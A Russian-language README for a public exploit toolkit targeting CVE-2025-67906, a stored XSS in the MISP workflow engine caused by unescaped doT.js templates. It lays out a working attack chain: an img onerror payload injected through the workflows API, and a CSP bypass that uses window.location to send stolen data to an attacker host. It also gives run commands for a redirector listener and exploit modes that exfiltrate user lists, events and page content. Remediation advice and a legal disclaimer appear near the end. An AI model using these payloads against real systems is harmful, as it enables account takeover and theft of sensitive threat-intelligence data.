
MISP <= 2.5.27 - Хранимая межсайтовая уязвимость (XSS) через Workflow Engine (doT.js Template Injection).
MISP <= 2.5.27 — Межсайтовый скриптинг (XSS) с сохранением через движок рабочих процессов (внедрение шаблонов doT.js)
Обнаружен Franck FERMAN
Обзор - Корневая причина - Цепочка атаки - Структура - Использование - Устранение - Ссылки
CVE-2025-67906 (GCVE-1-2025-0031) — уязвимость межсайтового скриптинга с сохранением (Stored XSS) в MISP (Malware Information Sharing Platform) версиях до 2.5.27 включительно.
Уязвимость находится в app/View/Elements/Workflows/executionPath.ctp, компоненте отображения пути выполнения рабочего процесса. Поле name триггеров рабочего процесса сохраняется в базу данных без серверной очистки и затем отображается в DOM через шаблонизатор doT.js без экранирования HTML. Аутентифицированный злоумышленник может внедрить произвольный HTML/JavaScript, который выполняется в браузере любого пользователя, просматривающего скомпрометированный рабочий процесс.
Поскольку полезная нагрузка сохраняется в базе данных и отображается при каждой загрузке страницы, XSS является постоянным — он переживает обновления страницы, затрагивает нескольких пользователей и сохраняется до тех пор, пока рабочий процесс не будет явно удален.
Обнаружение: Эта уязвимость была выявлена и ответственно раскрыта Franck FERMAN.
Существует несколько оценок CVSS для данной уязвимости:
Расхождение в баллах отражает разные оценки глубины воздействия. Оценка NIST NVD (9.0) учитывает полное воздействие на конфиденциальность, целостность и доступность, поскольку полезная нагрузка XSS выполняется с привилегиями сессии жертвы, что позволяет эксплуатировать данные на уровне администратора и манипулировать рабочими процессами. Оценка CNA (5.4) учитывает только ограниченное воздействие на C/I для обычного XSS. Оценка GCVE CVSS 4.0 (7.1) включает требования к атаке (привилегии) и модификаторы активного взаимодействия с пользователем.
Область действия во всех оценках изменена, поскольку полезная нагрузка злоумышленника (внедренная через API MISP) выполняется в другом контексте безопасности (браузер жертвы).
Движок рабочих процессов MISP позволяет аутентифицированным пользователям создавать и редактировать рабочие процессы через REST API. Модель данных рабочего процесса включает компонент trigger с полем name. Это поле:
doT.js — это быстрый JavaScript-шаблонизатор. Он использует {{= }} для интерполяции, которая не экранирует HTML по умолчанию. Редактор рабочих процессов MISP использует doT.js для рендеринга метаданных триггера (включая поле name) в DOM. Когда поле name содержит HTML, например ``, шаблонизатор вставляет его как необработанный HTML, и браузер выполняет встроенный JavaScript.
Исправление требует одного из следующих действий:
{{! }}, который экранирует HTML-значениеPOST /workflows/edit/{id}
{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
Значение name внутри поля data JSON является точкой внедрения. Весь граф рабочего процесса сериализуется как JSON-строка в теле запроса.
Уязвимость усиливается архитектурным выбором использования клиентского шаблонизатора (doT.js) для рендеринга визуального редактора рабочих процессов. Редактор рабочих процессов — это графический интерфейс перетаскивания, где каждый триггер/действие отображается в виде визуального блока. Поле name триггера отображается как метка внутри этих графических блоков.
doT.js строит визуальные компоненты, генерируя строки HTML из шаблонов и вставляя их в DOM. Синтаксис интерполяции {{= }} создает неэкранированный вывод — любые данные, интерполированные в шаблон, рассматриваются как разметка, а не как текст. Если бы то же поле name отображалось через element.textContent (который трактует ввод как обычный текст) или через синтаксис экранированного вывода doT.js {{! }}, XSS был бы невозможен независимо от содержимого ввода.
Поверхность атаки существует именно потому, что:
{{= }}) для производительностиname, интерпретируется браузером как HTMLЭто распространенный шаблон уязвимости в веб-приложениях, использующих клиентские шаблонизаторы для создания интерактивных визуальных интерфейсов: потребность в богатом рендеринге создает неявное доверие между шаблоном и его источниками данных, и любой неочищенный пользовательский ввод, попадающий в шаблон, становится исполняемым кодом.
<script>Необработанный тег <script>, внедренный через интерполяцию шаблона, обычно не выполняется в этом контексте. Браузеры не запускают элементы <script>, вставленные в DOM после первоначального разбора страницы (через innerHTML или аналоги). Атрибуты обработчиков событий, такие как onerror, onload или onmouseover на HTML-элементах, обходят это ограничение, поскольку они запускают встроенный JavaScript при обработке браузером атрибутов элемента, независимо от способа вставки элемента.
Вектор <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> предпочтительнее, потому что:
src="x" гарантирует немедленную ошибку загрузки, вызывая onerror без взаимодействия с пользователемscript-src, которые блокируют встроенные теги <script>, так как выполнение происходит через обработчик событий на элементе, не являющемся скриптомЭкземпляры MISP обычно развертывают заголовки Content Security Policy, которые ограничивают connect-src, предотвращая вызовы fetch() и XMLHttpRequest к внешним источникам. Полезные нагрузки эксфильтрации в этом PoC обходят CSP, используя window.location (навигацию) вместо API-вызовов:
// БЛОКИРУЕТСЯ CSP connect-src:
fetch('http://attacker/exfil?data=' + stolen_data); // Нарушение CSP
// НЕ блокируется — навигация не регулируется CSP:
window.location = 'http://attacker/exfil?data=' + stolen_data; // работает
CSP не имеет директивы, которая контролирует, на какую страницу может переходить пользователь. Директива navigate-to была предложена в CSP Level 3, но никогда не была реализована ни одним браузером и фактически заброшена. Это делает window.location надежным способом обхода CSP для эксфильтрации данных из любого XSS-контекста, независимо от политики CSP.
Обратная сторона — навигация видна жертве (страница меняется). server/redirector.py смягчает это, немедленно выдавая HTTP-редирект 302 обратно на экземпляр MISP, создавая лишь кратковременную видимую вспышку. С точки зрения жертвы, страница просто перезагружается.
Поток данных эксфильтрации:
Браузер жертвы Атакующий (redirector.py) MISP
| | |
|-- GET /exfil?data=<украдено> -->| |
| | [захватывает данные, выводит]
|<-- 302 Location: misp.url ------| |
| | |
|-- GET /workflows/view/1 --------------------------------------->|
|<-- Нормальная страница MISP -------------------------------------|
Весь цикл занимает ~100-200 мс. Жертва видит в лучшем случае вспышку страницы.
Распространенное заблуждение в оценках безопасности — что уязвимости XSS имеют ограниченное практическое влияние («это просто окно с предупреждением»). В реальных задачах red team Stored XSS, особенно постоянный без клика, — это находка высокой ценности именно потому, что злоумышленнику не нужно, чтобы жертва что-то нажимала. Полезная нагрузка срабатывает автоматически при рендеринге страницы.
Что Stored XSS позволяет на практике:
HttpOnly, злоумышленник крадет куки сессии администратора и захватывает аккаунт. Даже с HttpOnly токены сессии, доступные в DOM или ответах API, могут быть извлечены.document.body.innerHTML или целевые DOM-запросы.Когда такие защиты, как CSP, ограничивают исходящие запросы (connect-src, script-src), вектор эксфильтрации адаптируется — как продемонстрировано в этом PoC с обходом через window.location. CSP поднимает планку, но не устраняет риск. Когда HttpOnly предотвращает кражу кук, злоумышленник переключается на DOM-эксфильтрацию данных, непосредственно отображаемых в аутентифицированной сессии.
В контексте пентеста/red team Stored XSS на платформе, подобной MISP (которая агрегирует данные о киберугрозах, индикаторы компрометации и организационные данные), особенно критичен, потому что данные, доступные через сессию администратора, сами по себе имеют высокую чувствительность: индикаторы компрометации, детали внутренних расследований, членство в группах совместного использования и межорганизационные доверительные отношения.
1. Злоумышленник аутентифицируется в MISP (любая роль с правом создания рабочих процессов)
|
2. POST /workflows/add -> создает новый рабочий процесс, получает workflow_id + trigger_id
|
3. POST /workflows/edit/{id} -> внедряет полезную нагрузку HTML/JS в поле "name" триггера
| Нагрузка: <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="[JAVASCRIPT]">
|
4. Полезная нагрузка сохраняется в базе данных MISP
|
5. Жертва (любой аутентифицированный пользователь) посещает /workflows/view/{id}
|
6. doT.js отображает имя триггера как необработанный HTML -> браузер выполняет JavaScript
|
7. Воздействие зависит от режима нагрузки:
- alert() Подтверждение выполнения
- Session hijack Кража сессионной куки
- Data exfil Извлечение пользователей, событий, ключей API со страниц администратора
- Credential theft Внедрение поддельной формы входа
| ПО | Затронуто | Исправлено |
|---|---|---|
| MISP | <= 2.5.27 | 2.5.28 |
Исправление включено в MISP v2.5.28. Соответствующий коммит патча: 1f39deb.
poc_alert_cve_2025_67906.py # Простой PoC — подтверждение alert() (~200 строк)
poc_exfiltrate_cve_2025_67906.py # Простой PoC — демонстрация эксфильтрации данных (~150 строк)
cve_2025_67906.py # Полный набор эксплойтов — 7 режимов, пользовательские нагрузки
server/
redirector.py # Слушатель эксфильтрации с прозрачным редиректом 302
poc_alert_cve_2025_67906.py: Минимальный, читаемый. Внедряет alert() для подтверждения XSS. Прочитайте это первым.poc_exfiltrate_cve_2025_67906.py: Минимальная демонстрация эксфильтрации. Захватывает email/URL жертвы и отправляет на сервер атакующего.cve_2025_67906.py: Полный набор эксплойтов с 7 режимами нагрузок, поддержкой пользовательских нагрузок, тихим режимом.server/redirector.py: HTTP-сервер, который захватывает эксфильтрованные данные и прозрачно перенаправляет жертву обратно в MISP.Python 3 (только стандартная библиотека, нулевые внешние зависимости).
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906
Подтвердите наличие уязвимости с помощью безвредного alert():
python3 poc_alert_cve_2025_67906.py https://misp.target.org YOUR_API_KEY
Перейдите по URL, выведенному скриптом. Окно с предупреждением подтверждает выполнение XSS.
# Терминал 1: запустить слушатель эксфильтрации
python3 server/redirector.py https://misp.target.org --port 8000
# Терминал 2: внедрить полезную нагрузку
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org YOUR_API_KEY --attacker YOUR_IP:8000
Когда жертва посещает URL рабочего процесса, email, имя пользователя и URL страницы захватываются слушателем.
# Режим alert (по умолчанию)
python3 cve_2025_67906.py https://misp.target.org API_KEY
# Извлечение списка пользователей из страницы администратора
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_users --attacker YOUR_IP:8000
# Извлечение списка событий
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_events --attacker YOUR_IP:8000 --limit 50
# Пользовательская нагрузка
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--payload ''
# Тихий режим (минимальный вывод)
python3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet
{{= }} (необработанный) на {{! }} (HTML-кодированный) для полей, предоставленных пользователемname перед вставкой в базу данных (удаление HTML-тегов, кодирование сущностей)Этот инструмент предоставляется только для авторизованных аудитов безопасности, академических исследований и образовательных целей. Использование против систем без явного письменного разрешения владельца системы незаконно. Автор не несет ответственности за несанкционированное или злонамеренное использование.
| Источник | Балл | Степень опасности | Вектор |
|---|
| NIST NVD | 9.0 | Критическая | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| GCVE (CIRCL) | 7.1 | Высокая | CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA (MITRE) | 5.4 | Средняя | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| Режим | Воздействие | Требования |
|---|
alert | Подтверждает выполнение XSS | Любой пользователь просматривает рабочий процесс |
alert_info | Отображает email и URL жертвы | Любой пользователь просматривает рабочий процесс |
console_info | Выводит email, роль, URL жертвы в DevTools | Любой пользователь просматривает рабочий процесс |
exfiltrate_users | Извлекает список пользователей (ID, Org, Role, Email) из /admin/users/index | Администратор просматривает рабочий процесс + слушатель атакующего |
exfiltrate_page | Захватывает содержимое текущей страницы и идентификатор пользователя | Любой пользователь просматривает рабочий процесс + слушатель атакующего |
exfiltrate_events | Извлекает список событий (ID, Org, Date, TLP, Info) | Любой пользователь просматривает рабочий процесс + слушатель атакующего |
| ID | Тактика | Техника | Актуальность |
|---|
| T1059.007 | Выполнение | JavaScript | Полезная нагрузка XSS выполняет JavaScript в браузере жертвы |
| T1189 | Начальный доступ | Компрометация через веб-сайт | Сохраненная нагрузка срабатывает при посещении страницы |
| T1557 | Сбор | Противник в браузере | Полезная нагрузка работает в рамках аутентифицированной сессии жертвы |
| T1539 | Доступ к учетным данным | Кража куки веб-сессии | Куки сессии доступны, если не установлен HttpOnly |
| T1005 | Сбор | Данные из локальной системы | Эксфильтрация списков пользователей, событий и содержимого страниц |
| Режим | Описание |
|---|
alert | Простое окно с предупреждением (по умолчанию, безопасно для демо) |
alert_info | Окно с предупреждением, содержащее URL, email, агент пользователя жертвы |
console | Подтверждение через console.log |
console_info | Вывод email, роли, URL жертвы в консоль DevTools |
exfiltrate_users | Извлечение списка пользователей из /admin/users/index (требуется жертва-администратор) |
exfiltrate_page | Захват содержимого текущей страницы и идентификатора пользователя |
exfiltrate_events | Извлечение списка событий с ID, Org, Date, TLP, Info |